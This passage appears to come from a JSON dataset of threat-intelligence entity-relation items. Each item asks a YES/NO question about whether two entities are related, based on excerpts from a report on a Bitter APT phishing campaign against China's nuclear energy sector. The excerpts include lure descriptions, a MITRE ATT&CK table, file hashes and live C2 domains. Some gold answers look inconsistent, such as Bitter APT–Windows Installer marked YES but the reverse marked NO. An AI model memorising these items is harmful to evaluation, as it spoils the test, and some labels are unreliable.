details of an actual attach\u00e9 of the Kyrgyz embassy in China. If the recipient were to use a search engine to check for this employee, they would easily be able to find corroborating information from LinkedIn and the Ministry of Foreign Affairs website for Kyrgyzstan, adding to the supposed legitimacy of the email. This is presumably also how the malicious actor was able to get information in order to craft the lure.\nThe email subject and body use terms and themes that would be familiar with the recipients in governmental and energy sectors, such as International Atomic Energy Agency (IAEA), China Institute of International Studies (CIIS), strategic alliances, and nuclear doctrines.\nFigure 3: Email body lure with nuclear themes\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBitter APT\n### Target Entity: Excel\n### Text Passage:\nAnalysis of Phishing Lures and Payloads\nWe identified seven emails pretending to be from the Embassy of Kyrgyzstan, being sent to recipients in the nuclear energy industry in China. In some emails, people and entities in academia are also targeted, also related to nuclear energy. The phishing emails contain a lure that invites the recipients to join conferences on subjects that are relevant to them. The lures are designed to socially engineer the recipient to download and open an attached RAR file that contains either a Microsoft Compiled HTML Help (CHM) or Excel payload. This activity appears to be a continuation of the tactics and campaign that Bitter APT have been using since at least 2021.\nFigure 1: Attack flow described in this research\nThe emails contain a number of social engineering techniques. The name and email address used to send the phishing emails is crafted to look like it is coming from an \u201cEmbassy in Beijing.\u201d A free email provider is used, therefore domain reputation checks will not be useful.\nFigure 2: Name crafted to appear as communication from an embassy\nThe email is signed off with the name and details of an actual attach\u00e9 of the Kyrgyz embassy in China. If the recipient were to use a search engine to check for this employee, they would easily be able to find corroborating information from LinkedIn and the Ministry of Foreign Affairs website for Kyrgyzstan, adding to the supposed legitimacy of the email. This is presumably also how the malicious actor was able to get information in order to craft the lure.\nThe email subject and body use terms and themes that would be familiar with the recipients in governmental and energy sectors, such as International Atomic Energy Agency (IAEA), China Institute of International Studies (CIIS), strategic alliances, and nuclear doctrines.\nFigure 3: Email body lure with nuclear themes\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBitter APT\n### Target Entity: Kyrgyzstan\n### Text Passage:\nAnalysis of Phishing Lures and Payloads\nWe identified seven emails pretending to be from the Embassy of Kyrgyzstan, being sent to recipients in the nuclear energy industry in China. In some emails, people and entities in academia are also targeted, also related to nuclear energy. The phishing emails contain a lure that invites the recipients to join conferences on subjects that are relevant to them. The lures are designed to socially engineer the recipient to download and open an attached RAR file that contains either a Microsoft Compiled HTML Help (CHM) or Excel payload. This activity appears to be a continuation of the tactics and campaign that Bitter APT have been using since at least 2021.\nFigure 1: Attack flow described in this research\nThe emails contain a number of social engineering techniques. The name and email address used to send the phishing emails is crafted to look like it is coming from an \u201cEmbassy in Beijing.\u201d A free email provider is used, therefore domain reputation checks will not be useful.\nFigure 2: Name crafted to appear as communication from an embassy\nThe email is signed off with the name and details of an actual attach\u00e9 of the Kyrgyz embassy in China. If the recipient were to use a search engine to check for this employee, they would easily be able to find corroborating information from LinkedIn and the Ministry of Foreign Affairs website for Kyrgyzstan, adding to the supposed legitimacy of the email. This is presumably also how the malicious actor was able to get information in order to craft the lure.\nThe email subject and body use terms and themes that would be familiar with the recipients in governmental and energy sectors, such as International Atomic Energy Agency (IAEA), China Institute of International Studies (CIIS), strategic alliances, and nuclear doctrines.\nFigure 3: Email body lure with nuclear themes\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBitter APT\n### Target Entity: Embassy of Kyrgyzstan\n### Text Passage:\nAnalysis of Phishing Lures and Payloads\nWe identified seven emails pretending to be from the Embassy of Kyrgyzstan, being sent to recipients in the nuclear energy industry in China. In some emails, people and entities in academia are also targeted, also related to nuclear energy. The phishing emails contain a lure that invites the recipients to join conferences on subjects that are relevant to them. The lures are designed to socially engineer the recipient to download and open an attached RAR file that contains either a Microsoft Compiled HTML Help (CHM) or Excel payload. This activity appears to be a continuation of the tactics and campaign that Bitter APT have been using since at least 2021.\nFigure 1: Attack flow described in this research\nThe emails contain a number of social engineering techniques. The name and email address used to send the phishing emails is crafted to look like it is coming from an \u201cEmbassy in Beijing.\u201d A free email provider is used, therefore domain reputation checks will not be useful.\nFigure 2: Name crafted to appear as communication from an embassy\nThe email is signed off with the name and details of an actual attach\u00e9 of the Kyrgyz embassy in China. If the recipient were to use a search engine to check for this employee, they would easily be able to find corroborating information from LinkedIn and the Ministry of Foreign Affairs website for Kyrgyzstan, adding to the supposed legitimacy of the email. This is presumably also how the malicious actor was able to get information in order to craft the lure.\nThe email subject and body use terms and themes that would be familiar with the recipients in governmental and energy sectors, such as International Atomic Energy Agency (IAEA), China Institute of International Studies (CIIS), strategic alliances, and nuclear doctrines.\nFigure 3: Email body lure with nuclear themes\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nEmbassy of Kyrgyzstan\n### Target Entity: IAEA\n### Text Passage:\nAnalysis of Phishing Lures and Payloads\nWe identified seven emails pretending to be from the Embassy of Kyrgyzstan, being sent to recipients in the nuclear energy industry in China. In some emails, people and entities in academia are also targeted, also related to nuclear energy. The phishing emails contain a lure that invites the recipients to join conferences on subjects that are relevant to them. The lures are designed to socially engineer the recipient to download and open an attached RAR file that contains either a Microsoft Compiled HTML Help (CHM) or Excel payload. This activity appears to be a continuation of the tactics and campaign that Bitter APT have been using since at least 2021.\nFigure 1: Attack flow described in this research\nThe emails contain a number of social engineering techniques. The name and email address used to send the phishing emails is crafted to look like it is coming from an \u201cEmbassy in Beijing.\u201d A free email provider is used, therefore domain reputation checks will not be useful.\nFigure 2: Name crafted to appear as communication from an embassy\nThe email is signed off with the name and details of an actual attach\u00e9 of the Kyrgyz embassy in China. If the recipient were to use a search engine to check for this employee, they would easily be able to find corroborating information from LinkedIn and the Ministry of Foreign Affairs website for Kyrgyzstan, adding to the supposed legitimacy of the email. This is presumably also how the malicious actor was able to get information in order to craft the lure.\nThe email subject and body use terms and themes that would be familiar with the recipients in governmental and energy sectors, such as International Atomic Energy Agency (IAEA), China Institute of International Studies (CIIS), strategic alliances, and nuclear doctrines.\nFigure 3: Email body lure with nuclear themes\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n5c85194ade91736a12b1eeeb13baa0b0da88c5085ca0530c4f1d86342170b3bc\n### Target Entity: qwavemediaservice.net\n### Text Passage:\nIndicators of Compromise\n### **File Hashes (SHA256)**\n5f663f15701f429f17cc309d10ca03ee00fd20f733220cc9d2502eff5d0cd1a1 (Email)\neb7aebded5549f8b006e19052e0d03dc9095c75a800897ff14ef872f18c8650e (Email)\ncac239cf09a6a5bc1f9a3b29141336773c957d570212b97f73e13122fe032179 (Email)\n8d2f6b0d7a6a06708593cc64d9187878ea9d2cc3ae9a657926aa2a8522b93f74 (Email)\n33905e2db3775d2e8e75c61e678d193ac2bab5b5a89d798effbceb9ab202d799 (Email)\n5c85194ade91736a12b1eeeb13baa0b0da88c5085ca0530c4f1d86342170b3bc (Email)\nEf4fb1dc3d1ca5ea8a88cd94596722b93524f928d87dff0d451d44da4e9181f1 (Email)\nb2566755235c1df3371a7650d94339e839efaa85279656aa9ab4dc4f2d94bbfa (RAR)\n33a20950e7f4b2191706ddf9089f1e91be1e5384cca00a57cf6b58056f70c96b (RAR)\n7e7e90b076ef3ea4ef8ed4ef14fb599a2acb15d9ce00c78e5949186da1e355cf (RAR)\n07504fcef717e6b74ed381e94eab5a9140171572b5572cda87b275e3873c8a88 (XLS)\n06b4c1f46845cee123b2200324a3ebb7fdbea8e2c6ef4135e3f943bd546a2431 (CHM)\nded0635c5ef9c3d63543abc36a69b1176875dba84ca005999986bd655da3a446 (CHM)\n### **Network**\nqwavemediaservice.net\nmirzadihatti.com\ncoauthcn.com\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMsiexec\n### Target Entity: C2\n### Text Passage:\nMitre ATT&CK\n
TacticTechniqueIDDescription
ReconnaissanceEmail AddressesT1589.002The actor gathers target email addresses to target with spearphishing emails
Initial AccessSpearphishing AttachmentT1566.001Spearphishing is used to deliver RAR attachments
ExecutionPowerShellT1059.001Encoded PowerShell is used by CHM payload
ExecutionExploitation for Client ExecutionT1203Microsoft Office exploits are used to execute code
PersistenceScheduled TaskT1053.005Scheduled Tasks used for both execution and persistence
Defense EvasionMsiexecT1218.007Msiexec is used to launch next stage payloads
Defense EvasionCompiled HTML FileT1218.001CHM files are used to deliver payloads
Defense EvasionMasqueradingT1036Files are masqueraded as legitimate files and scheduled tasks are named after common tasks (eg. Adobe Updater)
DiscoverySystem Information DiscoveryT1082First stage payloads fetch Computer and User names
Command and ControlWeb ProtocolsT1071.001HTTPS is used for C2 communication
Command and ControlExfiltration Over C2 ChannelT1041Data can be exfiltrated
\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nT1218\n### Target Entity: T1059.001\n### Text Passage:\nMitre ATT&CK\n
TacticTechniqueIDDescription
ReconnaissanceEmail AddressesT1589.002The actor gathers target email addresses to target with spearphishing emails
Initial AccessSpearphishing AttachmentT1566.001Spearphishing is used to deliver RAR attachments
ExecutionPowerShellT1059.001Encoded PowerShell is used by CHM payload
ExecutionExploitation for Client ExecutionT1203Microsoft Office exploits are used to execute code
PersistenceScheduled TaskT1053.005Scheduled Tasks used for both execution and persistence
Defense EvasionMsiexecT1218.007Msiexec is used to launch next stage payloads
Defense EvasionCompiled HTML FileT1218.001CHM files are used to deliver payloads
Defense EvasionMasqueradingT1036Files are masqueraded as legitimate files and scheduled tasks are named after common tasks (eg. Adobe Updater)
DiscoverySystem Information DiscoveryT1082First stage payloads fetch Computer and User names
Command and ControlWeb ProtocolsT1071.001HTTPS is used for C2 communication
Command and ControlExfiltration Over C2 ChannelT1041Data can be exfiltrated
\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBitter APT\n### Target Entity: Asia-Pacific\n### Text Passage:\nConclusion\nBitter APT have been conducting espionage campaigns for years using many tactics, including phishing, to achieve their goals. It is advised that entities in government, energy, and engineering especially those in the Asia-Pacific region should remain vigilant when receiving emails, especially those claiming to be from other diplomatic entities. Always verify that the sender is trusted and understand that even if it claims to be from a particular person, it might not be.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAsia-Pacific\n### Target Entity: Asia\n### Text Passage:\nConclusion\nBitter APT have been conducting espionage campaigns for years using many tactics, including phishing, to achieve their goals. It is advised that entities in government, energy, and engineering especially those in the Asia-Pacific region should remain vigilant when receiving emails, especially those claiming to be from other diplomatic entities. Always verify that the sender is trusted and understand that even if it claims to be from a particular person, it might not be.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBitter APT\n### Target Entity: Asia-Pacific\n### Text Passage:\nPhishing Campaign Targets Chinese Nuclear Energy Industry\nIntezer has been tracking activity targeting the energy sector and noted a campaign with techniques that align with those of Bitter APT operating in the Asia-Pacific region.\nWe have made the connection to Bitter APT through tactics, techniques, and procedures (TTPs) that have been observed in other publications, such as the use of Microsoft Office exploits through Excel files, and the use of CHM and Windows Installer (MSI) files. Bitter APT is a South Asian threat group that commonly targets energy and government sectors; they have been known to target Pakistan, China, Bangladesh, and Saudi Arabia.\nBitter APT are continuing to target organizations in China in an espionage campaign, as our here research shows. For some of the payloads we have corresponding phishing emails that were used as lures to deliver the files, allowing analysis of the social engineering techniques used. **We have noted updates to the first-stage payloads used, with new layers of obfuscation to hinder analysis and additional decoys used for social engineering.**\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBitter APT\n### Target Entity: Pakistan\n### Text Passage:\nPhishing Campaign Targets Chinese Nuclear Energy Industry\nIntezer has been tracking activity targeting the energy sector and noted a campaign with techniques that align with those of Bitter APT operating in the Asia-Pacific region.\nWe have made the connection to Bitter APT through tactics, techniques, and procedures (TTPs) that have been observed in other publications, such as the use of Microsoft Office exploits through Excel files, and the use of CHM and Windows Installer (MSI) files. Bitter APT is a South Asian threat group that commonly targets energy and government sectors; they have been known to target Pakistan, China, Bangladesh, and Saudi Arabia.\nBitter APT are continuing to target organizations in China in an espionage campaign, as our here research shows. For some of the payloads we have corresponding phishing emails that were used as lures to deliver the files, allowing analysis of the social engineering techniques used. **We have noted updates to the first-stage payloads used, with new layers of obfuscation to hinder analysis and additional decoys used for social engineering.**\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBitter APT\n### Target Entity: China\n### Text Passage:\nPhishing Campaign Targets Chinese Nuclear Energy Industry\nIntezer has been tracking activity targeting the energy sector and noted a campaign with techniques that align with those of Bitter APT operating in the Asia-Pacific region.\nWe have made the connection to Bitter APT through tactics, techniques, and procedures (TTPs) that have been observed in other publications, such as the use of Microsoft Office exploits through Excel files, and the use of CHM and Windows Installer (MSI) files. Bitter APT is a South Asian threat group that commonly targets energy and government sectors; they have been known to target Pakistan, China, Bangladesh, and Saudi Arabia.\nBitter APT are continuing to target organizations in China in an espionage campaign, as our here research shows. For some of the payloads we have corresponding phishing emails that were used as lures to deliver the files, allowing analysis of the social engineering techniques used. **We have noted updates to the first-stage payloads used, with new layers of obfuscation to hinder analysis and additional decoys used for social engineering.**\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBitter APT\n### Target Entity: Bangladesh\n### Text Passage:\nPhishing Campaign Targets Chinese Nuclear Energy Industry\nIntezer has been tracking activity targeting the energy sector and noted a campaign with techniques that align with those of Bitter APT operating in the Asia-Pacific region.\nWe have made the connection to Bitter APT through tactics, techniques, and procedures (TTPs) that have been observed in other publications, such as the use of Microsoft Office exploits through Excel files, and the use of CHM and Windows Installer (MSI) files. Bitter APT is a South Asian threat group that commonly targets energy and government sectors; they have been known to target Pakistan, China, Bangladesh, and Saudi Arabia.\nBitter APT are continuing to target organizations in China in an espionage campaign, as our here research shows. For some of the payloads we have corresponding phishing emails that were used as lures to deliver the files, allowing analysis of the social engineering techniques used. **We have noted updates to the first-stage payloads used, with new layers of obfuscation to hinder analysis and additional decoys used for social engineering.**\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBitter APT\n### Target Entity: Saudi Arabia\n### Text Passage:\nPhishing Campaign Targets Chinese Nuclear Energy Industry\nIntezer has been tracking activity targeting the energy sector and noted a campaign with techniques that align with those of Bitter APT operating in the Asia-Pacific region.\nWe have made the connection to Bitter APT through tactics, techniques, and procedures (TTPs) that have been observed in other publications, such as the use of Microsoft Office exploits through Excel files, and the use of CHM and Windows Installer (MSI) files. Bitter APT is a South Asian threat group that commonly targets energy and government sectors; they have been known to target Pakistan, China, Bangladesh, and Saudi Arabia.\nBitter APT are continuing to target organizations in China in an espionage campaign, as our here research shows. For some of the payloads we have corresponding phishing emails that were used as lures to deliver the files, allowing analysis of the social engineering techniques used. **We have noted updates to the first-stage payloads used, with new layers of obfuscation to hinder analysis and additional decoys used for social engineering.**\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBitter APT\n### Target Entity: Excel\n### Text Passage:\nPhishing Campaign Targets Chinese Nuclear Energy Industry\nIntezer has been tracking activity targeting the energy sector and noted a campaign with techniques that align with those of Bitter APT operating in the Asia-Pacific region.\nWe have made the connection to Bitter APT through tactics, techniques, and procedures (TTPs) that have been observed in other publications, such as the use of Microsoft Office exploits through Excel files, and the use of CHM and Windows Installer (MSI) files. Bitter APT is a South Asian threat group that commonly targets energy and government sectors; they have been known to target Pakistan, China, Bangladesh, and Saudi Arabia.\nBitter APT are continuing to target organizations in China in an espionage campaign, as our here research shows. For some of the payloads we have corresponding phishing emails that were used as lures to deliver the files, allowing analysis of the social engineering techniques used. **We have noted updates to the first-stage payloads used, with new layers of obfuscation to hinder analysis and additional decoys used for social engineering.**\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBitter APT\n### Target Entity: Microsoft Office\n### Text Passage:\nPhishing Campaign Targets Chinese Nuclear Energy Industry\nIntezer has been tracking activity targeting the energy sector and noted a campaign with techniques that align with those of Bitter APT operating in the Asia-Pacific region.\nWe have made the connection to Bitter APT through tactics, techniques, and procedures (TTPs) that have been observed in other publications, such as the use of Microsoft Office exploits through Excel files, and the use of CHM and Windows Installer (MSI) files. Bitter APT is a South Asian threat group that commonly targets energy and government sectors; they have been known to target Pakistan, China, Bangladesh, and Saudi Arabia.\nBitter APT are continuing to target organizations in China in an espionage campaign, as our here research shows. For some of the payloads we have corresponding phishing emails that were used as lures to deliver the files, allowing analysis of the social engineering techniques used. **We have noted updates to the first-stage payloads used, with new layers of obfuscation to hinder analysis and additional decoys used for social engineering.**\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBitter APT\n### Target Entity: Windows Installer\n### Text Passage:\nPhishing Campaign Targets Chinese Nuclear Energy Industry\nIntezer has been tracking activity targeting the energy sector and noted a campaign with techniques that align with those of Bitter APT operating in the Asia-Pacific region.\nWe have made the connection to Bitter APT through tactics, techniques, and procedures (TTPs) that have been observed in other publications, such as the use of Microsoft Office exploits through Excel files, and the use of CHM and Windows Installer (MSI) files. Bitter APT is a South Asian threat group that commonly targets energy and government sectors; they have been known to target Pakistan, China, Bangladesh, and Saudi Arabia.\nBitter APT are continuing to target organizations in China in an espionage campaign, as our here research shows. For some of the payloads we have corresponding phishing emails that were used as lures to deliver the files, allowing analysis of the social engineering techniques used. **We have noted updates to the first-stage payloads used, with new layers of obfuscation to hinder analysis and additional decoys used for social engineering.**\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWindows Installer\n### Target Entity: Bitter APT\n### Text Passage:\nPhishing Campaign Targets Chinese Nuclear Energy Industry\nIntezer has been tracking activity targeting the energy sector and noted a campaign with techniques that align with those of Bitter APT operating in the Asia-Pacific region.\nWe have made the connection to Bitter APT through tactics, techniques, and procedures (TTPs) that have been observed in other publications, such as the use of Microsoft Office exploits through Excel files, and the use of CHM and Windows Installer (MSI) files. Bitter APT is a South Asian threat group that commonly targets energy and government sectors; they have been known to target Pakistan, China, Bangladesh, and Saudi Arabia.\nBitter APT are continuing to target organizations in China in an espionage campaign, as our here research shows. For some of the payloads we have corresponding phishing emails that were used as lures to deliver the files, allowing analysis of the social engineering techniques used. **We have noted updates to the first-stage payloads used, with new layers of obfuscation to hinder analysis and additional decoys used for social engineering.**\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMicrosoft\n### Target Entity: Equation Editor\n### Text Passage:\n### Malicious Payloads via CHM and Microsoft Excel Files\nMultiple payloads have been observed being delivered. Either CHM files, or Microsoft Excel files with Equation Editor exploits. These payloads are compressed inside RAR files, this helps avoid static analysis techniques that do not decompress the files first. The purpose of the payloads are to create persistence and download further malware payloads. We were not able to get further additional payloads from the command and control (C2) servers, but in some instances were able to get the file names of next stages from active C2s.\n", + "output": "NO" + } +] \ No newline at end of file